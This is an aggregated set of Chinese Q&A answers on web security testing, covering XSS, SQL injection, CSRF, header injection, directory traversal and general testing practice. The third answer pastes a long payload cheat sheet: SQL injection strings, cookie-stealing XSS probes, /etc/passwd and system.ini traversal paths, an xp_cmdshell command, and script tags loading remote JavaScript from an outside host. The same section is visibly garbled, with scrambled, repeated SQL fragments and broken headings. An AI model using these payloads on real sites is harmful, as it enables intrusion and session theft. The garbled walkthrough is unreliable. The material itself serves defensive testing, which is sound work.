『壹』 web安全測試 主要測試哪些內容
軟體安全測試按照測試點又細分了很多分支，而今天我們要講的是安全測試之最常見的頁面腳本攻擊。腳本攻擊有多種方式，今天給大家講幾種最常見的場景也是很多網站容易忽略測試的情況
第一種，在頁面的輸入框中植入一段js（javascript）腳本。不知道js的同學，請關注我們的公開課，或者自己去網路學習。
一般情況下我們在測試添加功能的時候都會根據需求文檔進行測試，需求文檔里可能會寫明每一個欄位的數據都有哪些限制條件，往往我們就會去測試這些限制條件是否都滿足，但我們通常會忽略一種情況，尤其是我們不懂js，html這些前台頁面技術的情況下。比如，現在我往老師昵稱的輸入框輸入一段js：<script>alert(1)</script> ，輸入其他數據後保存這條老師數據，然後回到老師列表就會發現出現了一個彈框，這個就是因為保存進去的昵稱沒有經過數據過濾處理，保存到表的數據是一段完整的js，然後這段js腳本被瀏覽器渲染後就出現了一個警告提示框，成功實現了攻擊。
像這種情況還不算太惡劣，點擊警告框的確定，警告框就會關閉，但是如果別人植入的是一段死循環代碼，比如上面的腳本經過一個改造：<script>while(true){alert(「有本事你就把我關掉」)}</script>，然後往頁面輸入框輸入以上腳本數據，保存後在列表頁面就會彈出咱們設計的那個彈出框，並且想關都關不掉，關了以後立馬又出現了。並且只要訪問到這個列表頁面就會出現這個彈框。
試想一下，如果你們的客戶稍微懂一點技術，在做驗收的時候輸入了一段這樣的腳本來測試，估計當場就會被氣吐血，人家會覺得不僅你們開發人員技術不過關，你們測試人員技術也不到位，別人出錢的時候也不會那麼乾脆，更嚴重的情況是客戶可能再也不會跟你們合作了，因為這么低級的一個bug，你們項目組都沒有規避到。
第二種，在頁面輸入框中植入一段html代碼。不知道html是什麼東西的同學，請關注我們的公開課，或者自己去網路學習。
植入html代碼又可以分幾種情況，以下幾種情況是測試中用的最多的，因為他們都可以指定一個路徑，鏈接到第三方平台，而有些情況一經點擊就可以跳到指定的第三方平台，而這種情況是很容易在第三方頁面上做手腳盜取你網站的私密數據的。
1. 植入<img>圖片，這個圖片的鏈接指向第三方的圖片，影響：第一，非一條正常數據，第二，對方可以利用你的漏洞搗亂，傳上去一些非法圖片。
2. 植入超鏈接：<a>，如果你的頁面沒有做html過濾就可能被植入一段超鏈接，點擊就可以跳到第三方平台。影響：第一，非一條正常數據，第二，別有用心的人就可以利用你的漏洞去做一些非法的事情。
3. 植入iframe：<iframe>，如果你的頁面沒有做html過濾同樣也有可能被別人直接植入一個iframe，嵌入一個第三方頁面，直接顯示在你的網站頁面上，比如，我們現在通過iframe在我們的老師列表頁面植入視頻網站--優酷，這樣我們就可以點擊優酷上的視頻來觀看了。影響：第一，非一條正常數據，第二，同樣別人可以通過這種方式直接植入不安全的第三方網站或者廣告。
當然以上這些腳本攻擊方式在你的項目網站上不一定都能重現，因為有些項目是做了過濾的，但是也有可能做的也不完全，可能某一種注入被規避了，還存在漏網之魚，所以只有試過才知道，上面只是列舉了幾種常見的注入方式，大家可以去測試下，說不定有額外的驚喜。如果找到了這樣的注入bug，請記得鄙視一下你們開發人員。哈哈。
『貳』 web安全測試主要有哪些漏洞
以下類型的安全漏洞
權控缺失
系統未能正確分配用戶的許可權，用戶能執行超出自己職能范圍的操作，這類漏洞稱為權控缺失。權控缺失分為兩類：平行越權、垂直越權。
邏輯漏洞
邏輯漏洞通常是由於程序邏輯不嚴密或邏輯太復雜,導致一些邏輯分支被繞過或處理錯誤。常見漏洞包括:任意密碼修改(沒有舊密碼驗證)、密碼找回漏洞、業務數據篡改等。邏輯漏洞的出現易造成賬號被盜、免費購物,游戲應用易造成刷錢、刷游戲幣等嚴重問題。
條件競爭
服務端在做並發編程時，需要考慮到條件競爭的情況。在多個並發線程同時訪問同一資源時，由於對請求的處理不是原子性的，無法預測調度的順序，就可能由於時間序列上的沖突而造成對共享資源的操作混亂。
XSS跨站腳本攻擊
是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點，提交的數據被WEB應用程序直接使用，使別的用戶訪問都會執行相應的嵌入代碼。從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
『叄』 如何進行WEB安全性測試
安全性測試主要從以下方面考慮 主要從以下方面考慮： WEB 的安全性測試主要從以下方面考慮： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如 搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對 於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個 參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登 錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：為什麼是 OR， 以及',――是特殊的字元呢？ 例子：在登錄時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如 輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 語句會變成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將 按下一個查詢條件來執行. 接 下來是 OR 查詢條件,OR 是一個邏輯運 算符， 在判斷多個條件的時候， 只要一 個成立，則等式就成立，後面的 AND 就不再時行判斷了，也就是 說我們繞過了密碼 驗證，我們只用用戶名就可以登錄. 如 輸入 http://ck/index.asp?username=admin'--&pwd=11，SQL 語 admin'-admin'-11 句會 變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查 詢條件,即 username='admin',接下來的語句將按 下一個查詢條件來執行 接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗 證(注:對 ACCESS 資料庫 資料庫無 效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如 果 能說明存在 SQL 安 全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結 構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作 工作: 工作 轉義敏感字元及字元串(SQL 的敏感字元包括 「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息：阻止攻擊者知道攻擊的結果 在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將 安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗 以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就 是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序 應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊 跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? <!--[if !supportLists]-->首先,找到帶有參數傳遞的 URL,如 交評論,發表留言 頁面等等。 登錄頁面,搜索頁面,提 <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最後,當用戶瀏覽 時便會彈出一個警告框，內容顯示的是瀏覽者當前的 cookie 串,這就 說明該網站存在 XSS 漏洞。 試想如果我們注入的不是以上這個簡單的測試代碼，而是一段經常精心設計的惡意腳 本，當用戶瀏覽此帖時，cookie 信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號 就很容易被攻擊者掌控了。 (2)如何預防 XSS 漏洞? 從應用程序的角度來講,要進行以下幾項預防: 對 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 語句或腳本進行轉義. 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成 XSS 檢查: 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進 行驗證，著重驗證是否對 HTML 或腳本代碼進行了轉義。 執行測試過程中也應對上述項進行檢查。 3.CSRF:(跨站點偽造請求) 3.CSRF:(跨站點偽造請求) CSRF:(跨站點偽造請求 CSRF 盡管聽起來像跨站腳本（XSS），但它與 XSS 非常不同，並且攻擊方式 幾乎相左。 XSS 是利用站點內的信任用戶，而 CSRF 則通過偽裝來自受信任用戶的請求 來利用受信任的網站。 XSS 也好， CSRF 也好， 它的目的在於竊取用戶的信息， SESSION 和 COOKIES 如 （關於 SESSION 和 COOKIES 的介紹請參見我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何進行 CSRF 測試？ 關於這個主題本人也正在研究，目前主要通過安全性測試工具來進行檢查。 (2)如何預防 CSRF 漏洞？ 請參見 http://www.hanguofeng.cn/archives/security/preventing-csrf 請 參見 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(郵件標頭注入 郵件標頭注入) 4.Email Header Injection(郵件標頭注入) Email Header Injection：如果表單用於發送 email,表單中可能包括 「subject」輸入項（郵件標題），我們要驗證 subject 中應能 escape 掉「\n」 標識。 <!--[if !supportLists]--><!--[endif]-->因為「\n」是新行，如果在 subject 中輸入「hello\ncc:[email protected]」，可能會形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的 其它用 subject， 那他可能會給利用這個缺陷通過我們的平台給其它 戶發送垃 其它 圾郵件。 Traversal(目錄遍歷 目錄遍歷) 5.Directory Traversal(目錄遍歷) （1）如何進行目錄遍歷測試？ 目錄遍歷產生的原因是：程序中沒有過濾用戶輸入的「../」和「./」之 類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的 任意文件。 測試方法： URL 中輸入一定數量的 在 「../」 「./」 驗證系統是否 ESCAPE 和 ， 掉了這些目錄跳轉符。 （2）如何預防目錄遍歷？ 限制 Web 應用在伺服器上的運行 進 行嚴格的輸入驗證，控制用戶輸入非法路徑 messages(錯誤信息 錯誤信息) 6.exposed error messages(錯誤信息) （1）如何進行測試？ 首 先找到一些錯誤頁面，比如 404,或 500 頁面。 驗證在調試未開通過的情況下， 是否給出了友好的錯誤提示信息比如「你 訪問的頁面不存 在」等，而並非曝露一些程序代碼。 （2）如何預防？ 測試人員在進行需求檢查時，應該對出錯信息 進行詳細查，比如是否給 出了出錯信息，是否給出了正確的出錯信息。
『肆』 web安全需要學習哪些知識
這個就很多了，首先你要系統的了解互聯網的基本結構從基本的小區域網怎麼連的在怎麼把區域網通過交換機來連起來，伺服器與機器協作，各個機器的所屬范圍防火牆等，你要學很多，先從基本的掐網線開始吧
『伍』 做Web安全測試、維護、防禦方面，需要什麼基礎知識
我暈~一個被YY小說和天朝妓者誤導的孩子
孩子醒醒，別看小說了，也別自己胡思亂想了，現實點吧！！！
你熱愛的不是黑客，而是那種牛氣沖天的感覺，想一手遮天，為我獨尊的感覺
這種情況看YY小說挺合適……
黑客牛掰么，在網路日益安全的今天，其實一點也不牛掰，頂多做一個安全顧問，一個月幾千塊，而且沒什麼人要的，現實中屬於可憐兮兮的那種，完全沒有傳說的神奇……
黑客遠遠不如你想的那般牛掰
黑客能侵什麼國防系統，孩子醒醒吧
黑客能入侵銀行，孩子醒醒吧
黑客能改高考成績，孩子醒醒吧
黑客能被國家招安，孩子醒醒吧
黑客無所不能，孩子醒醒吧
……
真正的黑客是熱愛電子熱愛計算機的人，因為熱愛計算機，所以成為黑客，不是因為熱愛黑客而成為黑客，這樣子其實一輩子都不會成為黑客。
很簡單，因為你的目的不純，不熱愛計算機，一心只想入侵入侵，走到最後你會發現自己其實走向了一條錯誤的路，反而成不了黑客。
在中國這樣的人實在太多了，不信網路搜搜黑客……這樣唯一的好處是養活了一大批自稱黑客的騙子，現在網上已經是騙子如雲了
還有，不要一想到什麼黑客技術就是聰明之類的，黑客不需要聰明，黑客幾乎都是笨拙的人，笨拙的人踏實、有毅力，反而能成為黑客
PS：你的問題補充真帥……-_-|||
『陸』 web安全測試個人閱讀心得
文章中提到的東西都是工作中實踐過的經驗,並不保證全面性.
Web測試一般包含如下內容:
功能測試
性能測試
用戶界面測試
兼容性測試
安全性測試
其實這只是大概的區分,各種不同的類別的測試之間其實是有很多交集的.比如:
當網站出現性能問題的時候,同時網站的某些功能可能會失效,比如頁面打開失敗,表單提交失敗等等
當網站在一個它不兼容的瀏覽器下運行的時候,也會導致功能失效,用戶界面出現混亂,甚至性能問題
以上的五項內容中的每一項都可以是一個大的主題做深入的分析.
另外,對於所有的web測試人員來說,學會使用Firebug以及Fiddler這樣的抓包工具絕對是必不可少的。這些工具的使用應該始終貫穿的測試工作之中
一.功能測試
對於一般被測試的軟體,我可以用"樹"來比喻一個軟體.一顆樹有主幹,分支和葉子.主幹和分支代表軟體的流程,葉子代表軟體的局部步驟(頁面). 我們測試軟體的時候既要保證軟體的流程正確,也要保證組成流程的各個分支步驟頁面的正確性.
拿淘寶來購物來說,我們可以把登錄頁面,購物車頁面之類的當成是葉子,完成一個購物流程,當成一個主幹或者分支. 軟體就是由這很多的葉子以及相對少一些的分支組成.
經典的教科書上往往會介紹如下功能測試測試用例的設計方法:
邊界值劃分
等價類
正交表
決策表
當我們測試單個頁面的時候,往往會用到這些方法.但是這些方法只是測試到了軟體的局部.
除此之外,我們還要考慮被測試軟體的工作流程,保證所有的提供給用戶的工作流程都可以跑通,這個時候,探索式測試可以派上用場.有時候,我們還需要化流程圖來輔助測試.
關於探索式測試,詳見探索式測試讀書筆記一文
另外，還有更重要的幾點：
每當打開頁面或者提交數據的時候，多打開Fiddler或者Firebug看看到底發送了哪些http請求,以及關鍵請求的http response是什麼.當發現功能異常之後,根據我們用Fiddler看到的數據,往往可以自己判斷問題到底是出在前台的JS還是後台service. 關於Fiddler,詳見Fiddler小結一文
有空多看看系統的日誌,哪裡能找到一些隱藏在頁面之外的異常
當我們在頁面上完成了一些功能之後,要徹底明白系統背後(資料庫)到底完成了什麼東西,我們提交的數據到底被存儲到哪裡去了
綜上所述,我們做功能測試的總體思路是從 點(樹葉)->面(主幹,分支)->後台(根)
二.性能測試
性能測試主要要從前端和後台兩個角度去理解,我們可以首先使用Fiddler去大概判斷網站的性能問題是出在前台還是後台.
如果Http請求的大部分時間是花在html,css,js之類的靜態資源載入上,那麼基本是前台性能有問題.如果某個後台的service特別費時,那麼後台必定存在性能問題
前台性能
除了用Fiddler看性能外,我們可以使用Yahoo的Firefox YSlow插件去檢測前端的性能.此外,關於前端性能具體的優化策略,可以參閱<High Performance Web Sites>,其中主要涉及到http協議和瀏覽器緩存機制
詳見Web前端優化14條原則一文
後台性能
對於大部分測試工程師來說是很難直接去優化後台性能的,但是依然能去發現一些有意義的線索
用Fiddler去查看http請求,如果某個請求特別耗時,則可能存在性能問題
後台代碼設計到SQL查詢的時候,往往測試員也是有基礎去測試那些SQL的查詢時間和執行時間,如果因為數據量大而導致查詢太慢的話,可以建議使用資料庫的索引
後台的cache機制: 我們的項目大量的使用了後台的cache機制
總之,做性能測試絕對不是簡單地直接拿Loadrunner或者Jmeter去錄制一下腳本,然後運行,分析結果.這一切的前提應該是充分了解了被測試系統的前台跟後台的性能
三.用戶界面測試
這點關注不多，主要如下：
字體大小顏色(主要通過修改css文件)
彈窗的風格最好保持統一
四,兼容性測試
主要考慮如下幾個因素組合：
不同的操作系統
不同的瀏覽器
瀏覽器的不同版本
顯示器的不同解析度
不同的瀏覽設備（PC，手機，平板）
五.安全性測試
安全性測試主要知道有如下幾點:
SQL注入:後台使用Preparedstatement去處理SQL
XSS攻擊:這個問題非常復雜.學習中..
做為一個測試工程師,我覺得應該記住如下3點:
前台的JS驗證是不可靠的
用戶進行任何輸入都是有可能的
Web本身似乎也是不安全的:無法解釋更多....
接下去舉一些實際的例子:
隱藏的按鈕
當我們用Firebug看頁面的HTML的時候,往往能找到一些隱藏的內容,比如某個元素的 class="gradient hide",或者類似的東西.當我們直接修改掉這些屬性之後,這些隱藏的東西就會在頁面上暴露出來,對系統的安全造成隱患.
另外如果有某些值也可能會存儲在隱藏域中
Disabled按鈕
與隱藏的按鈕類似,頁面上經常有些可見但是灰調的按鈕,也可以嘗試改變他的屬性,讓它變成可以觸發的,或許會有所發現
不該被訪問的URL
如果某個URL不該被某些人訪問,一定要在許可權上去控制.僅僅去掉某個鏈接/按鈕是不夠的
後台Service
如果網站後台的Service能被捕捉到,而且又沒有許可權控制,那將是災難性的
『柒』 如何進行Web應用的安全測試和輸入校驗
下面這幾個注意事項或許可以幫你一些
1. 找到Web應用所有的輸入點，找到所有的能接受用戶輸入的地方，漏掉輸入點也就漏掉了可能存在的縫。
2. 過濾每一個輸入點，為每個輸入點設定相應的校驗規則和邊界。
3. 不要忘記校驗哪些隱藏域，cookie和url參數。
4. 驗證從資料庫裡面得到的數據，這個是最容易忽視的地方，不要相信來自資料庫裡面的數據就是合法的數據。
5. 你是如何做輸入校驗的？ javascript？如果只是用javascript做客戶端校驗, 風險還是很大的，一定要確保加上服務端的校驗，否則如果客戶端禁用了javascript或者客戶端代碼被人工修改，非法數據還是會進入系統內部的。
6. 隱藏異常信息，再周全的校驗也不可能覆蓋所有的case，如果非法數據造成了系統的異常，不要將詳細的異常信息暴露給客戶端，這些異常信息有可能成為系統的攻擊入口。
在做輸入校驗的時候，從「什麼樣的輸入才是合法的」入手會降低驗證失效的風險，應該只為每個輸入點的輸入內容制定一個有限的，剛好夠用的合法范圍，除此之外的所有內容都當做是非法的。而從「什麼樣的輸入是不合法的」入手則會增加驗證失效的可能，因為你不可能窮舉非法的輸入。
『捌』 WEB伺服器安全滲透性測試方案
http://hi..com/zh2089/blog/category/%B1%BE%C8%CB%D4%AD%B4%B4
本人博客的幾篇原創文章，裡面有一些實例，LZ覺得可以的話請版給權最佳答案